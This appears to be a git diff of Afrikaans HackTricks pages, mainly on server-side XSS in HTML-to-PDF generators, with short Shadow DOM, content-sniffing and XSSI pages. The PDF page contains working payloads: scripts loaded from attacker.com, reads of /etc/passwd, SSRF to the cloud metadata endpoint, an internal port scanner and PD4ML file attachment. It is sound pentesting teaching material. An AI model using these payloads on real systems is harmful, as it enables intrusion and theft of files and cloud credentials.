<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**As jou invoer binne 'n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te voeg om JavaScript uit te voer of die PDF-inhoud te steel.**
Kyk die pos: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,37 @@
# Serverkant XSS (Dinamiese PDF)
# Server Side XSS (Dinamiese PDF)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Serverkant XSS (Dinamiese PDF)
## Server Side XSS (Dinamiese PDF)
As 'n webbladsy 'n PDF skep deur gebruikersbeheerde insette te gebruik, kan jy probeer om die bot wat die PDF skep, te **verneuk om willekeurige JS-kode uit te voer**.\
Dus, as die **PDF-skepper-bot** sekere soorte **HTML-etikette vind**, sal dit hulle **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
As 'n webblad 'n PDF genereer met gebruikersbeheerde invoer, kan jy probeer om die **bot te mislei** wat die PDF genereer om **arbitraire JS-kode uit te voer**.\
So, as die **PDF-creator bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
Let asseblief daarop dat die `<script></script>` etikette nie altyd werk nie, so jy sal 'n ander metode nodig hê om JS uit te voer (byvoorbeeld deur `<img` te misbruik).\
Let ook daarop dat jy in 'n gewone uitbuiting **in staat sal wees om die geskepte pdf te sien/aflaai**, sodat jy alles wat jy **via JS skryf** kan sien (deur byvoorbeeld `document.write()` te gebruik). Maar as jy die geskepte PDF **nie kan sien nie**, sal jy waarskynlik die inligting moet **onttrek deur webversoeke na jou te maak** (Blind).
Let asseblief daarop dat die `<script></script>` tags nie altyd werk nie, so jy sal 'n ander metode nodig hê om JS uit te voer (byvoorbeeld, deur `<img` te misbruik).\
Let ook daarop dat jy in 'n gewone uitbuiting **die geskepte pdf kan sien/aflaai**, so jy sal alles kan sien wat jy **via JS skryf** (met `document.write()` byvoorbeeld). Maar, as jy die geskepte PDF **nie kan sien nie**, sal jy waarskynlik **die inligting moet onttrek deur web versoeke na jou te maak** (Blind).
### Gewilde PDF-generering
### Gewilde PDF-generasie
- **wkhtmltopdf** is bekend vir sy vermoë om HTML en CSS in PDF-dokumente om te skakel deur die WebKit-renderingsenjin te gebruik. Hierdie hulpmiddel is beskikbaar as 'n oopbron-opdraglyn-hulpprogram, wat dit toeganklik maak vir 'n wye verskeidenheid toepassings.
- **TCPDF** bied 'n robuuste oplossing binne die PHP-ekosisteem vir PDF-generering. Dit is in staat om beelde, grafika en versleuteling te hanteer, wat sy veelsydigheid vir die skep van komplekse dokumente toon.
- Vir diegene wat in 'n Node.js-omgewing werk, bied **PDFKit** 'n lewensvatbare opsie. Dit maak die generering van PDF-dokumente direk vanuit HTML en CSS moontlik, en bied 'n brug tussen webinhoud en drukbare formate.
- Java-ontwikkelaars verkies dalk **iText**, 'n biblioteek wat nie net PDF-skepping fasiliteer nie, maar ook gevorderde funksies soos digitale handtekeninge en vorminvulling ondersteun. Sy omvattende funksiestel maak dit geskik vir die skep van veilige en interaktiewe dokumente.
- **FPDF** is 'n ander PHP-biblioteek wat uitstaan deur sy eenvoud en gebruiksgemak. Dit is ontwerp vir ontwikkelaars wat 'n eenvoudige benadering tot PDF-generering soek, sonder die behoefte aan uitgebreide funksies.
- **wkhtmltopdf** is bekend vir sy vermoë om HTML en CSS in PDF-dokumente om te skakel, met die WebKit-rendering enjin. Hierdie hulpmiddel is beskikbaar as 'n oopbron-opdraglyn nut, wat dit toeganklik maak vir 'n wye reeks toepassings.
- **TCPDF** bied 'n robuuste oplossing binne die PHP-ekosisteem vir PDF-generasie. Dit is in staat om beelde, grafika en versleuteling te hanteer, wat sy veelsydigheid vir die skep van komplekse dokumente toon.
- Vir diegene wat in 'n Node.js-omgewing werk, bied **PDFKit** 'n lewensvatbare opsie. Dit stel die generasie van PDF-dokumente direk uit HTML en CSS in staat, wat 'n brug bied tussen webinhoud en drukbare formate.
- Java-ontwikkelaars mag **iText** verkies, 'n biblioteek wat nie net PDF-skep vergemaklik nie, maar ook gevorderde funksies soos digitale handtekeninge en vorm invul ondersteun. Sy omvattende funksieset maak dit geskik vir die generering van veilige en interaktiewe dokumente.
- **FPDF** is 'n ander PHP-biblioteek, wat gekenmerk word deur sy eenvoud en gebruiksgemak. Dit is ontwerp vir ontwikkelaars wat 'n eenvoudige benadering tot PDF-generasie soek, sonder die behoefte aan uitgebreide funksies.
## Lading
## Payloads
### Ontdekking
```markup
@ -48,7 +48,7 @@ Let ook daarop dat jy in 'n gewone uitbuiting **in staat sal wees om die geskept
```
### SVG
Enige van die vorige of volgende payloads kan binne hierdie SVG payload gebruik word. Een iframe wat toegang tot die Burpcollab subdomein verkry en 'n ander wat toegang tot die metadata-eindpunt verkry, word as voorbeelde gegee.
Enige van die vorige of volgende payloads kan binne hierdie SVG-payload gebruik word. Een iframe wat toegang tot die Burpcollab subdomein verkry en 'n ander een wat toegang tot die metadata-eindpunt verkry, word as voorbeelde gegee.
```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
@ -73,9 +73,9 @@ alert(1);
</script>
</svg>
```
Jy kan baie **ander SVG-ladingstukke** vind in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
U kan baie **ander SVG payloads** vind in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
### Pad-onthulling
### Pad openbaarmaking
```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
@ -84,7 +84,7 @@ if not, you will at least have wich path the bot is accessing -->
```
### Laai 'n eksterne skrip
Die beste manier om hierdie kwesbaarheid uit te buit, is om die kwesbaarheid te misbruik om die bot 'n skrip te laat laai wat jy plaaslik beheer. Dan sal jy in staat wees om die payload plaaslik te verander en die bot dit elke keer met dieselfde kode te laat laai.
Die beste toepaslike manier om hierdie kwesbaarheid te benut, is om die kwesbaarheid te misbruik om die bot 'n skrip te laat laai wat jy plaaslik beheer. Dan sal jy in staat wees om die payload plaaslik te verander en die bot dit elke keer met dieselfde kode te laat laai.
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
@ -92,9 +92,9 @@ Die beste manier om hierdie kwesbaarheid uit te buit, is om die kwesbaarheid te
### Lees plaaslike lêer / SSRF
{% hint style="warning" %}
Verander `file:///etc/passwd` na `http://169.254.169.254/latest/user-data` byvoorbeeld om **te probeer om 'n eksterne webblad (SSRF) te bereik**.
Verander `file:///etc/passwd` na `http://169.254.169.254/latest/user-data` byvoorbeeld om **te probeer om 'n eksterne webblad te bereik (SSRF)**.
As SSRF toegelaat word, maar jy **nie 'n interessante domein of IP kan bereik nie**, [kyk na hierdie bladsy vir potensiële omseilings](../ssrf-server-side-request-forgery/url-format-bypass.md).
As SSRF toegelaat word, maar jy **kan nie bereik nie** 'n interessante domein of IP, [kyk na hierdie bladsy vir potensiële omseilings](../ssrf-server-side-request-forgery/url-format-bypass.md).
{% endhint %}
```markup
<script>
@ -130,10 +130,6 @@ xhzeem.send();
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### Bot vertraging
In some cases, websites implement bot delay mechanisms to prevent automated bots from performing actions too quickly. These mechanisms introduce a delay between each action performed by the bot, making it harder for the bot to carry out its intended tasks.
Bot vertragingsmeganismes word in sommige gevalle deur webwerwe geïmplementeer om te voorkom dat geoutomatiseerde bots te vinnig optree. Hierdie meganismes voeg 'n vertraging in tussen elke aksie wat deur die bot uitgevoer word, wat dit moeiliker maak vir die bot om sy beoogde take uit te voer.
```markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
@ -147,10 +143,6 @@ time += 500;
<img src="https://attacker.com/delay">
```
### Poort Skandering
'n Poort skandering is 'n tegniek wat gebruik word om die veiligheid van 'n netwerk te ondersoek deur die ondersoek van die poorte op 'n stelsel of bedienaar. Dit behels die stuur van 'n reeks verbindingsversoeke na verskillende poorte op die doelwitstelsel om te bepaal watter poorte oop is en watter dienste beskikbaar is.
'n Poort skandering kan gebruik word om potensiële swakpunte in 'n netwerk te identifiseer en om te bepaal of daar enige ongewenste of onbeskermde poorte is wat blootgestel kan word aan aanvalle. Dit is 'n belangrike stap in die proses van pentesting en kan help om die veiligheid van 'n netwerk te verbeter deur die identifisering van moontlike toegangspunte vir aanvallers.
```markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
@ -169,13 +161,13 @@ checkPort(i);
```
### [SSRF](../ssrf-server-side-request-forgery/)
Hierdie kwesbaarheid kan baie maklik omskep word in 'n SSRF (soos jy die skrip kan gebruik om eksterne hulpbronne te laai). Probeer dit net uitbuit (lees sommige metadata?).
Hierdie kwesbaarheid kan baie maklik in 'n SSRF omgeskakel word (aangesien jy die skrip kan laat laai eksterne hulpbronne). Probeer dus net om dit te benut (lees 'n bietjie metadata?).
### Bylaes: PD4ML
### Attachments: PD4ML
Daar is 'n paar HTML 2 PDF-enjins wat toelaat om **bylaes vir die PDF te spesifiseer**, soos **PD4ML**. Jy kan hierdie funksie misbruik om **enige plaaslike lêer aan die PDF te heg**.\
Om die bylae oop te maak, het ek die lêer met **Firefox oopgemaak en dubbelklik op die Paperclip-simbool** om die bylae as 'n nuwe lêer te **stoor**.\
Deur die **PDF-respons** vas te vang met burp, behoort die bylae ook in **duidelike teks binne die PDF te wys**.
Daar is 'n paar HTML 2 PDF enjin wat toelaat om **aanhangsels vir die PDF te spesifiseer**, soos **PD4ML**. Jy kan hierdie funksie misbruik om **enige plaaslike lêer** aan die PDF te **heg**.\
Om die aanhangsel te open, het ek die lêer met **Firefox geopen en dubbelklik op die Papierclip simbool** om die **aanhangsel** as 'n nuwe lêer te **stoor**.\
Om die **PDF antwoord** met burp te vang, behoort ook die **aanhangsel in duidelike teks** binne die PDF te **wys**.
{% code overflow="wrap" %}
```html
@ -191,16 +183,17 @@ Deur die **PDF-respons** vas te vang met burp, behoort die bylae ook in **duidel
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,34 @@
# Skaduwee-DOM
# Shadow DOM
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Bekyk hierdie blog: [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** en hierdie **CTF-uitdaging: [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
**Kyk na hierdie blog: [https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** en hierdie **CTF uitdaging: [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,39 @@
# Sniff Lek
# Sniff Leak
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Lek skripsinhoud deur dit na UTF16 te omskakel
## Leak script inhoud deur dit na UTF16 te omskep
[**Hierdie uiteensetting**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) lek 'n teks/plain omdat daar geen `X-Content-Type-Options: nosniff`-kop is nie deur 'n paar aanvanklike karakters by te voeg wat javascript laat dink dat die inhoud in UTF-16 is sodat die skrips nie breek nie.
[**Hierdie skrywe**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) lek 'n text/plain omdat daar geen `X-Content-Type-Options: nosniff` kop is nie deur 'n paar aanvanklike karakters by te voeg wat javascript sal laat dink dat die inhoud in UTF-16 is sodat die script nie breek nie.
## Lek skripsinhoud deur dit as 'n ICO te hanteer
## Leak script inhoud deur dit as 'n ICO te behandel
[**Die volgende uiteensetting**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) lek die skripsinhoud deur dit te laai asof dit 'n ICO-beeld is wat die `width`-parameter toegang.
[**Die volgende skrywe**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) lek die script inhoud deur dit te laai asof dit 'n ICO beeld was wat die `width` parameter benader.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

File diff suppressed because one or more lines are too long

View file

@ -1,50 +1,51 @@
# XSSI (Kruiswebwerfinskripsie)
# XSSI (Cross-Site Script Inclusion)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
